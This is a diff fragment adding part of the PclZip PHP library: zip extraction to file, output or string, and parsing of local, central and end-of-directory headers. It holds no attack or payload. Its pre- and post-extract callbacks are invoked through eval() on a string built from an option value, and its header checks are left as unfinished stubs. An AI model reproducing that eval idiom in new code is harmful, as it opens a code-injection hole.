+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Compressed Size :".$v_size."");
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Read ".$v_read_size." bytes");
+      $v_buffer = @fread($this->zip_fd, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @fwrite($v_dest_file, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Write gz file format footer
+    $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
+    @fwrite($v_dest_file, $v_binary_data, 8);
+
+    // ----- Close the temporary file
+    @fclose($v_dest_file);
+
+    // ----- Opening destination file
+    if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Error while opening '".$p_entry['filename']."' in write binary mode");
+      $p_entry['status'] = "write_error";
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Open the temporary gz file
+    if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
+      @fclose($v_dest_file);
+      $p_entry['status'] = "read_error";
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, 'File size is '.filesize($v_gzip_temp_name));
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Reading '".$p_entry['size']."' bytes");
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    $v_size = $p_entry['size'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Size :".$v_size."");
+    while ($v_size != 0) {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Read ".$v_read_size." bytes");
+      $v_buffer = @gzread($v_src_file, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @fwrite($v_dest_file, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+    @fclose($v_dest_file);
+    @gzclose($v_src_file);
+
+    // ----- Delete the temporary file
+    @unlink($v_gzip_temp_name);
+    
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileInOutput()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileInOutput(&$p_entry, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privExtractFileInOutput', "");
+    $v_result=1;
+
+    // ----- Read the file header
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Found file '".$v_header['filename']."', size '".$v_header['size']."'");
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A pre-callback '".$p_options[PCLZIP_CB_PRE_EXTRACT]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "User callback abort the extraction");
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "New filename is '".$p_entry['filename']."'");
+    }
+
+    // ----- Trace
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting file (with path) '".$p_entry['filename']."', size '$v_header[size]'");
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
+        // ----- Look for not compressed file
+        if ($p_entry['compressed_size'] == $p_entry['size']) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting an un-compressed file");
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Reading '".$p_entry['size']."' bytes");
+
+          // ----- Read the file in a buffer (one shot)
+          $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+          // ----- Send the file to the output
+          echo $v_buffer;
+          unset($v_buffer);
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting a compressed file");
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Reading '".$p_entry['size']."' bytes");
+
+          // ----- Read the compressed file in a buffer (one shot)
+          $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+          
+          // ----- Decompress the file
+          $v_file_content = gzinflate($v_buffer);
+          unset($v_buffer);
+
+          // ----- Send the file to the output
+          echo $v_file_content;
+          unset($v_file_content);
+        }
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extraction done");
+      }
+    }
+
+	// ----- Change abort status
+	if ($p_entry['status'] == "aborted") {
+      $p_entry['status'] = "skipped";
+	}
+
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A post-callback '".$p_options[PCLZIP_CB_POST_EXTRACT]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);');
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "User callback abort the extraction");
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileAsString()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileAsString(&$p_entry, &$p_string)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privExtractFileAsString', "p_entry['filename']='".$p_entry['filename']."'");
+    $v_result=1;
+
+    // ----- Read the file header
+    $v_header = array();
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Found file '".$v_header['filename']."', size '".$v_header['size']."'");
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting file in string (with path) '".$p_entry['filename']."', size '$v_header[size]'");
+
+    // ----- Do the extraction (if not a folder)
+    if (!(($p_entry['external']&0x00000010)==0x00000010))
+    {
+      // ----- Look for not compressed file
+//      if ($p_entry['compressed_size'] == $p_entry['size'])
+      if ($p_entry['compression'] == 0) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting an un-compressed file");
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Reading '".$p_entry['size']."' bytes");
+
+        // ----- Reading the file
+        $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
+      }
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting a compressed file (compression method '".$p_entry['compression']."')");
+
+        // ----- Reading the file
+        $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
+        
+        // ----- Decompress the file
+        if (($p_string = @gzinflate($v_data)) === FALSE) {
+            // TBC
+        }
+      }
+
+      // ----- Trace
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extraction done");
+    }
+    else {
+        // TBC : error : can not extract a folder in a string
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadFileHeader(&$p_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privReadFileHeader", "");
+    $v_result=1;
+
+    // ----- Read the 4 bytes signature
+    $v_binary_data = @fread($this->zip_fd, 4);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary data is : '".sprintf("%08x", $v_binary_data)."'");
+    $v_data = unpack('Vid', $v_binary_data);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary signature is : '".sprintf("0x%08x", $v_data['id'])."'");
+
+    // ----- Check signature
+    if ($v_data['id'] != 0x04034b50)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Invalid File header");
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the first 42 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 26);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 26)
+    {
+      $p_header['filename'] = "";
+      $p_header['status'] = "invalid_header";
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Header : '".$v_binary_data."'");
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Header (Hex) : '".bin2hex($v_binary_data)."'");
+    $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);
+
+    // ----- Get filename
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "File name length : ".$v_data['filename_len']);
+    $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Filename : \''.$p_header['filename'].'\'');
+
+    // ----- Get extra_fields
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extra field length : ".$v_data['extra_len']);
+    if ($v_data['extra_len'] != 0) {
+      $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
+    }
+    else {
+      $p_header['extra'] = '';
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Extra field : \''.bin2hex($p_header['extra']).'\'');
+
+    // ----- Extract properties
+    $p_header['version_extracted'] = $v_data['version'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Version need to extract : ('.$p_header['version_extracted'].') \''.($p_header['version_extracted']/10).'.'.($p_header['version_extracted']%10).'\'');
+    $p_header['compression'] = $v_data['compression'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Compression method : \''.$p_header['compression'].'\'');
+    $p_header['size'] = $v_data['size'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Size : \''.$p_header['size'].'\'');
+    $p_header['compressed_size'] = $v_data['compressed_size'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Compressed Size : \''.$p_header['compressed_size'].'\'');
+    $p_header['crc'] = $v_data['crc'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'CRC : \''.sprintf("0x%X", $p_header['crc']).'\'');
+    $p_header['flag'] = $v_data['flag'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Flag : \''.$p_header['flag'].'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Flag bit 11 (from right) : \''.($p_header['flag']&0x0400).'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Flag bit 11 (from left) : \''.($p_header['flag']&0x0020).'\'');
+    $p_header['filename_len'] = $v_data['filename_len'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Filename_len : \''.$p_header['filename_len'].'\'');
+
+    // ----- Recuperate date in UNIX format
+    $p_header['mdate'] = $v_data['mdate'];
+    $p_header['mtime'] = $v_data['mtime'];
+    if ($p_header['mdate'] && $p_header['mtime'])
+    {
+      // ----- Extract time
+      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
+      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
+      $v_seconde = ($p_header['mtime'] & 0x001F)*2;
+
+      // ----- Extract date
+      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
+      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
+      $v_day = $p_header['mdate'] & 0x001F;
+
+      // ----- Get UNIX date format
+      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
+
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Date : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    }
+    else
+    {
+      $p_header['mtime'] = time();
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Date is actual : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    }
+
+    // TBC
+    //for(reset($v_data); $key = key($v_data); next($v_data)) {
+    //  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Attribut[$key] = ".$v_data[$key]);
+    //}
+
+    // ----- Set the stored filename
+    $p_header['stored_filename'] = $p_header['filename'];
+
+    // ----- Set the status field
+    $p_header['status'] = "ok";
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadCentralFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadCentralFileHeader(&$p_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privReadCentralFileHeader", "");
+    $v_result=1;
+
+    // ----- Read the 4 bytes signature
+    $v_binary_data = @fread($this->zip_fd, 4);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary data is : '".sprintf("%08x", $v_binary_data)."'");
+    $v_data = unpack('Vid', $v_binary_data);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary signature is : '".sprintf("0x%08x", $v_data['id'])."'");
+
+    // ----- Check signature
+    if ($v_data['id'] != 0x02014b50)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Invalid Central Dir File signature");
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the first 42 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 42);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 42)
+    {
+      $p_header['filename'] = "";
+      $p_header['status'] = "invalid_header";
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Header : '".$v_binary_data."'");
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Header (Hex) : '".bin2hex($v_binary_data)."'");
+    $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);
+
+    // ----- Get filename
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "File name length : ".$p_header['filename_len']);
+    if ($p_header['filename_len'] != 0)
+      $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
+    else
+      $p_header['filename'] = '';
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Filename : \''.$p_header['filename'].'\'');
+
+    // ----- Get extra
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Extra length : ".$p_header['extra_len']);
+    if ($p_header['extra_len'] != 0)
+      $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
+    else
+      $p_header['extra'] = '';
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Extra : \''.$p_header['extra'].'\'');
+
+    // ----- Get comment
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Comment length : ".$p_header['comment_len']);
+    if ($p_header['comment_len'] != 0)
+      $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
+    else
+      $p_header['comment'] = '';
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Comment : \''.$p_header['comment'].'\'');
+
+    // ----- Extract properties
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Version : \''.($p_header['version']/10).'.'.($p_header['version']%10).'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Version need to extract : \''.($p_header['version_extracted']/10).'.'.($p_header['version_extracted']%10).'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Size : \''.$p_header['size'].'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Compressed Size : \''.$p_header['compressed_size'].'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'CRC : \''.sprintf("0x%X", $p_header['crc']).'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Flag : \''.$p_header['flag'].'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Offset : \''.$p_header['offset'].'\'');
+
+    // ----- Recuperate date in UNIX format
+    //if ($p_header['mdate'] && $p_header['mtime'])
+    // TBC : bug : this was ignoring time with 0/0/0
+    if (1)
+    {
+      // ----- Extract time
+      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
+      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
+      $v_seconde = ($p_header['mtime'] & 0x001F)*2;
+
+      // ----- Extract date
+      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
+      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
+      $v_day = $p_header['mdate'] & 0x001F;
+
+      // ----- Get UNIX date format
+      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
+
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Date : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    }
+    else
+    {
+      $p_header['mtime'] = time();
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Date is actual : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    }
+
+    // ----- Set the stored filename
+    $p_header['stored_filename'] = $p_header['filename'];
+
+    // ----- Set default status to ok
+    $p_header['status'] = 'ok';
+
+    // ----- Look if it is a directory
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Internal (Hex) : '".sprintf("Ox%04X", $p_header['internal'])."'");
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "External (Hex) : '".sprintf("Ox%04X", $p_header['external'])."' (".(($p_header['external']&0x00000010)==0x00000010?'is a folder':'is a file').')');
+    if (substr($p_header['filename'], -1) == '/') {
+      //$p_header['external'] = 0x41FF0010;
+      $p_header['external'] = 0x00000010;
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Force folder external : \''.sprintf("Ox%04X", $p_header['external']).'\'');
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Header of filename : \''.$p_header['filename'].'\'');
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCheckFileHeaders()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //   1 on success,
+  //   0 on error;
+  // --------------------------------------------------------------------------------
+  function privCheckFileHeaders(&$p_local_header, &$p_central_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCheckFileHeaders", "");
+    $v_result=1;
+
+  	// ----- Check the static values
+  	// TBC
+  	if ($p_local_header['filename'] != $p_central_header['filename']) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "filename" : TBC To Be Completed');
+  	}
+  	if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "version_extracted" : TBC To Be Completed');
+  	}
+  	if ($p_local_header['flag'] != $p_central_header['flag']) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "flag" : TBC To Be Completed');
+  	}
+  	if ($p_local_header['compression'] != $p_central_header['compression']) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "compression" : TBC To Be Completed');
+  	}
+  	if ($p_local_header['mtime'] != $p_central_header['mtime']) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "mtime" : TBC To Be Completed');
+  	}
+  	if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "filename_len" : TBC To Be Completed');
+  	}
+  
+  	// ----- Look for flag bit 3
+  	if (($p_local_header['flag'] & 8) == 8) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Purpose bit flag bit 3 set !');
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'File size, compression size and crc found in central header');
+          $p_local_header['size'] = $p_central_header['size'];
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Size : \''.$p_local_header['size'].'\'');
+          $p_local_header['compressed_size'] = $p_central_header['compressed_size'];
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Compressed Size : \''.$p_local_header['compressed_size'].'\'');
+          $p_local_header['crc'] = $p_central_header['crc'];
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'CRC : \''.sprintf("0x%X", $p_local_header['crc']).'\'');
+  	}
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadEndCentralDir()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadEndCentralDir(&$p_central_dir)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privReadEndCentralDir", "");
+    $v_result=1;
+
+    // ----- Go to the end of the zip file
+    $v_size = filesize($this->zipname);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Size of the file :$v_size");
+    @fseek($this->zip_fd, $v_size);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Position at end of zip file : \''.ftell($this->zip_fd).'\'');
+    if (@ftell($this->zip_fd) != $v_size)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- First try : look if this is an archive with no commentaries (most of the time)
+    // in this case the end of central dir is at 22 bytes of the file end
+    $v_found = 0;
+    if ($v_size > 26) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Look for central dir with no comment');
+      @fseek($this->zip_fd, $v_size-22);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Position after min central position : \''.ftell($this->zip_fd).'\'');
+      if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
+      {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+
+      // ----- Read for bytes
+      $v_binary_data = @fread($this->zip_fd, 4);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Binary data is : '".sprintf("%08x", $v_binary_data)."'");
+      $v_data = @unpack('Vid', $v_binary_data);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary signature is : '".sprintf("0x%08x", $v_data['id'])."'");
+
+      // ----- Check signature
+      if ($v_data['id'] == 0x06054b50) {
